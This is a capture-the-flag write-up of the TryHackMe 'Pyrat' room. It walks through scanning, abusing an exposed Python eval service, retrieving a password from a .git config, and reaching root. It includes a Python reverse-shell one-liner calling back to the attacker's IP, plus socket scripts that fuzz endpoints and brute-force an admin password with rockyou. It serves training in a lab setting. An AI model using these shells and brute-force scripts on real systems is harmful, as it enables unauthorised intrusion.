> For the complete documentation index, see [llms.txt](https://manav-g-krishna.gitbook.io/tryhackme-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://manav-g-krishna.gitbook.io/tryhackme-writeups/pyrat.md).

# Pyrat

{% embed url="<https://tryhackme.com/r/room/pyrat>" %}
Room Link
{% endembed %}

This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1) <img src="/files/fgutP6VmsOsVHYVe8Cfh" alt="" data-size="line"><img src="/files/J1FStDkVaABJlaGdbdeX" alt="" data-size="line">

**`Room's Description`**:

<figure><img src="/files/QEEMbTtUudDa019oMfEB" alt=""><figcaption></figcaption></figure>

**`Machine IP`**: 10.10.192.46

**`Hosts file entry`**: echo '10.10.192.46 pyrat.thm' | sudo tee -a /etc/hosts

**`Nmap Scan`**:&#x20;

```bash
nmap -p- -A -v --min-rate 100 -oN pyrat_thm -Pn pyrat.thm

Nmap scan report for pyrat.thm (10.10.192.46)
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=10/3%Time=66FE3CBC%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20de
SF:fined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<st
SF:ring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cann
SF:ot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\
SF:x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20strin
SF:g\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"s
SF:ource\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Hel
SF:p,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invali
SF:d\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\
SF:x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20
SF:code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,
SF:"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(J
SF:avaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20byt
SF:es\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/3%OT=22%CT=1%CU=42699%PV=Y%DS=2%DC=T%G=Y%TM=66FE
OS:3D34%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=101%TI=Z%CI=Z%TS=A)OPS(O1
OS:=M508ST11NW6%O2=M508ST11NW6%O3=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11NW
OS:6%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=
OS:Y%DF=Y%T=40%W=F507%O=M508NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%R
OS:D=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T4(R=Y%
OS:DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O
OS:=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40
OS:%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)
OS:T7(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RU
OS:CK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 6.108 days (since Fri Sep 27 09:37:53 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 587/tcp)
HOP RTT       ADDRESS
1   193.28 ms 10.11.0.1
2   194.14 ms pyrat.thm (10.10.192.46)
```

The scan results show that we have two ports open, that is port **`22`** & **`8000`** .&#x20;

### Enumeration

**`Checking out port 8000`**:

<div align="left"><figure><img src="/files/XHohC6zfTpMTY1o1Wv24" alt=""><figcaption></figcaption></figure></div>

The page tells us to try an even more **`basic connection`**. The only thing that comes to mind is either **`netcat`** or **`telnet`**. Port **`23`** ain't open on the machine, leaving us with just **`netcat`**.

We can now connect to the port via **`netcat`**, like so:

```bash
nc pyrat.thm 8000 -v
```

<figure><img src="/files/QLDwK8aprHgK3CfaG71s" alt=""><figcaption></figcaption></figure>

We are **`connected`**.&#x20;

From the **`Nmap scan`** results, we notice that the version results for port **`8000`** says - **`SimpleHTTP/0.6 Python/3.11.2`**. This means it is a **`Python-based HTTP`** server. So our interaction with the **`netcat`** connection will highly likely be through **`Python`**.&#x20;

To confirm the same we can execute a simple **`print`** command:

<figure><img src="/files/Fe6XDA99nlsWROO9VAqa" alt=""><figcaption></figcaption></figure>

And indeed we get the output. This confirms that we are on a **`Python shell`**.

We can also try to find the exact **`Python version`** that could be running:

```python
import sys
print(sys.version)
```

<div align="left"><figure><img src="/files/e6XsdUuYFFPHdeq7o4lR" alt=""><figcaption></figcaption></figure></div>

We are on **`3.8.10`**. So the fingerprinting that **`Nmap`** did (**`3.11.2`**) wasn't accurate.

Now that we have tested enough stuff and have fully confirmed that we are having a **`Python`** interaction via the **`netcat`** connection, we can go ahead and try to run a **`Python reverse shell`** command to see what we are presented with.

### Exploitation & Foothold

**`Python Reverse Shell`**:

```python
import socket, subprocess, os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('10.11.75.84',4545)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(['/bin/sh','-i'])
```

The **`IP`** specified in the command is the **`tun0`** interface **`IP`**.

Now, we can set up a **`netcat`** listener on our **`attacker machine`** and execute the above command.

<figure><img src="/files/7Ov0ZgeDVftCq8RIISl3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Pnj2R13yucC25TnT1LMm" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/4ok2W3gxeGLGcSdEJab2" alt=""><figcaption></figcaption></figure></div>

And we get a connection as **`www-data`**.

### Further Enumeration

Firstly we can proceed to **`upgrade`** the current shell a little.

**`Commands`**:

```python
python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm
```

<div align="left"><figure><img src="/files/MqY1ZXXVtvggbkk8maSV" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/WECZcc1yFsu5rHJ1Q28n" alt=""><figcaption></figcaption></figure></div>

We land directly within the **`/root`** directory.

From the **`/etc/passwd`** file contents we have a user other than root having a **`console`**, that being - **`think`**:

<div align="left"><figure><img src="/files/aRtDUfHgQETUjhMB3yee" alt=""><figcaption></figcaption></figure></div>

Let us now start **`traversing`** other **`common directories`** hoping to find some good **`information`**. Moreover, the room's description says that we would be able to find some **`credentials`** within a **`well-known folder`**, it could be **`think's password`**!?

**`Good directories`** to look into:

<figure><img src="/files/zypjOIPg1SfPmQrdJNmn" alt=""><figcaption></figcaption></figure>

**`/opt`** and **`/var`**.

**`Checking out /opt`**:

<div align="left"><figure><img src="/files/DWTEXWN1rQgib3S03QRm" alt=""><figcaption></figcaption></figure></div>

There is a **`.git`** directory. Having access to this folder can help us retrieve some **`code`** or **`sensitive data`**.

<figure><img src="/files/7miecsThQeqcEyPqU6wB" alt=""><figcaption></figcaption></figure>

There is a file named **`config`**.

<div align="left"><figure><img src="/files/DxWDvnK7ksAOKsfPFeBY" alt=""><figcaption></figcaption></figure></div>

And we get the user **`think's`** **`password`**.

Now we can **`SSH`** in as **`think`**:

**`Command`**:

```bash
ssh think@pyrat.thm
```

<div align="left"><figure><img src="/files/sBxAIFgr90VK2XV5J4Fe" alt="" width="563"><figcaption></figcaption></figure></div>

We get the **`user flag`** in think's **`home`** directory:

<figure><img src="/files/CfdKxhckI8VdekIvGZmq" alt=""><figcaption></figcaption></figure>

Now let us get back to the **`.git`** folder within the **`/opt`** directory as we hadn't fully enumerated it before.

Instead of manually examining all those files under the **`.git`** directory, we can use **`Git commands`** to retrieve useful information.

We do have the **`git`** utility on the machine:

<div align="left"><figure><img src="/files/oVqTllia4cdBXpJH9zOz" alt=""><figcaption></figcaption></figure></div>

**`Commands`**:

```bash
git rev-list --count --all   //Displays the total number of commits
```

```bash
git log  //Displays the commit history
```

```bash
git show  //Displays details of the commit
```

<div align="left"><figure><img src="/files/X9cuEi1A5U9tFCwX78ES" alt=""><figcaption></figcaption></figure></div>

We have only **`1`** commit.

<figure><img src="/files/gwOhjGsZweUdfCynwsqt" alt=""><figcaption></figcaption></figure>

The **`commit message`** says that a **`shell endpoint`** was added or it could mean the endpoint's name is **`shell`**. The description of the room talks about endpoints and **`shell`** might be an endpoint too.

<figure><img src="/files/aV8ZHLs4sG0cv5pZJqKM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/C5Em71Fl1ANsjBnOHG96" alt=""><figcaption></figcaption></figure>

This is the **`latest`** or the most recent commit (**`HEAD -> master`**). However, the file name **`pyrat.py.old`** suggests that it may be an older version of a script called **`pyrat.py`**.&#x20;

Even though we don't have the full code, what it is mainly saying is this:

It allows a server to respond to commands received from us over a **`socket connection`**. The **`switch_case`** function checks the input given by us and decides what action to take. If the input is **`some_endpoint`**, it calls a specific function. If the input is **`shell`**, it gives us access to a command line shell on the server, to execute commands.&#x20;

So we now know that we have an endpoint named **`shell`**. Even though the script might not be the latest code, we can still give it a try by passing this endpoint on the **`netcat`** shell to see if it still stands valid:

<figure><img src="/files/XuS90SPLyTSxTXuvvLnQ" alt=""><figcaption></figcaption></figure>

And it works. We get a shell as **`www-data`**. Now let us try to see what is up with that **`some_endpoint`**.

**`Passing in some_endpoint`**:

<div align="left"><figure><img src="/files/zWwHOCf55XqkN1eyCUMt" alt=""><figcaption></figcaption></figure></div>

So this confirms that this is the **`special endpoint`** that we have to **`fuzz`** for as mentioned in the description of the room.&#x20;

**`These lines`**:

```python
if data == 'some_endpoint':
      get_this_enpoint(client_socket)
```

Says that there is some **`other endpoint`** that is present (**`1st line`**) and that endpoint is being used like so: **`get_[that endpoint]`** (**`2nd line`**).

We can now go ahead and **`fuzz`** out that so-called **`special endpoint`** via some simple **`Python scripting`**.

### Privilege Escalation

**`Endpoint Fuzzing Script`**:

Firstly we have to fetch a **`wordlist`**:

{% embed url="<https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt>" %}
Wordlist
{% endembed %}

I have named the wordlist file: **`endpoints.txt`**

```python
import socket

def fuzz_endpoints(target_ip, target_port, wordlist):
    with open(wordlist, 'r') as file:
        endpoints = file.read().splitlines()

    for endpoint in endpoints:
        try:
            # Create a socket connection
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
                client_socket.connect((target_ip, target_port))
                
                # Send the endpoint
                client_socket.sendall(endpoint.encode() + b'\n')
                
                # Receive the response
                response = client_socket.recv(4096).decode()
                
                # Print the response
                print(f'Response for {endpoint}: {response}')

        except Exception as e:
            print(f'Error connecting to {target_ip}:{target_port} - {str(e)}')

if __name__ == "__main__":
    
    TARGET_IP = 'pyrat.thm'
    TARGET_PORT = 8000
    WORDLIST = 'endpoints.txt'  # Replace with your wordlist path

    fuzz_endpoints(TARGET_IP, TARGET_PORT, WORDLIST)

```

And we get a **`valid hit`**:

<figure><img src="/files/rP4hGEyFn7dAJ1hePrBx" alt=""><figcaption></figcaption></figure>

When **`admin`** was passed, the response from the server was - **`Password:`**

**`Passing the same`**:

<figure><img src="/files/y5u05o6amGQAY4PIDwaa" alt=""><figcaption></figcaption></figure>

So we now have found out that **`special endpoint`**, that being - **`admin`**.

**`Fuzzing`** for the **`password`** is what should be done at this point, **`admin password`**. It is safe to assume the same as the **`endpoint`** is named **`admin`**, so we have to find the **`admin's password`** which we aren't aware of yet.&#x20;

**`Password Fuzzing Script`**:

For this, we would be using the **`rockyou.txt`** wordlist.

```python
import socket

def fuzz_admin_passwords(target_ip, target_port, password_wordlist):
    admin_endpoint = "admin"
    
    with open(password_wordlist, 'r', errors='ignore') as file:
        passwords = file.read().splitlines()

    for password in passwords:
        try:
            
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
                client_socket.connect((target_ip, target_port))

                # Send the admin endpoint
                client_socket.sendall(f"{admin_endpoint}\n".encode())
                
                # Receive the response (for admin prompt)
                response = client_socket.recv(4096).decode()
                print(f'Response for {admin_endpoint}: {response}')

                # Send the password
                client_socket.sendall(f"{password}\n".encode())
                
                # Receive the response (for password attempt)
                response = client_socket.recv(4096).decode()
                
                # Print the response
                print(f'Trying password "{password}": {response}')

        except Exception as e:
            print(f'Error connecting to {target_ip}:{target_port} - {str(e)}')

if __name__ == "__main__":
    
    TARGET_IP = 'pyrat.thm'
    TARGET_PORT = 8000
    WORDLIST = '/usr/share/wordlists/rockyou.txt'

    fuzz_admin_passwords(TARGET_IP, TARGET_PORT, WORDLIST)

```

And we again get a **`hit`**:

<figure><img src="/files/Z01ZQ3TE7iTBJ4Py4mjq" alt=""><figcaption></figcaption></figure>

The response from the server when the **`valid password`** was tried: **`Welcome Admin!!! Type "shell" to begin`**.

Now we can go ahead and enter the **`password`**:

<figure><img src="/files/Ir1RWIL73M17E6E0Hm9M" alt=""><figcaption></figcaption></figure>

We are now **`root`**.

The **`root flag`** can be fetched from the **`/root`** directory.

<figure><img src="/files/MTH1dbA9gQOeghhpxB8N" alt=""><figcaption></figcaption></figure>

Room solved!!

### Alternate Approach To Finding The Special Endpoint (admin)&#x20;

This is something I **`overlooked`** when I initially completed the room, in the sense didn't put much thought into that aspect even though I saw it a lot many times on the machine. I will be diving straight into it without any story-building.

**`Checking out /var/mail`**:

<figure><img src="/files/a2Lrzd6VmJvQEroON2TS" alt=""><figcaption></figcaption></figure>

The **`mail`** talks about a **`RAT`** that was downloaded by a person from a **`GitHub page`** that belongs to **`Jose`**.

And we had come across **`Jose's email ID`** a lot many times on the machine, a few instances being in the **`config`** file contents, in the output of the **`git log`**, **`git show`** commands, etc.

<div align="left"><figure><img src="/files/C8wvactC3Y8ZAj6QDeN0" alt=""><figcaption></figcaption></figure></div>

That **`email`** when searched led us to the **`GitHub`** account of the **`maker`** of this very room.

<figure><img src="/files/TlaBIV0GFNt0V13UldAU" alt=""><figcaption></figcaption></figure>

There is a **`repo`** called **`PyRAT`** in it:

{% embed url="<https://github.com/josemlwdf/PyRAT>" %}

This **`repo`** reveals the **`special endpoint`** which was **`admin`**:

<figure><img src="/files/a7SaTDT5vq7cl0wQKqiu" alt=""><figcaption></figcaption></figure>

The **`code`** too in the **`repo`** reveals the same and it is the **`same exact code`** that is running on this room as a **`cron job`** as **`root`**:

<figure><img src="/files/GPCMN2CHsbwCI0ZmN1JZ" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/cTupLUS4UlwCA3E2CxiT" alt=""><figcaption></figcaption></figure></div>

**`The code`**:

<figure><img src="/files/ggl5x8kvICBPCAZZu2lB" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fANMnCLrqTcuuwxNzxuN" alt=""><figcaption></figcaption></figure>

{% embed url="<https://tryhackme.com/p/gravereaper2038>" %}
Profile Link
{% endembed %}
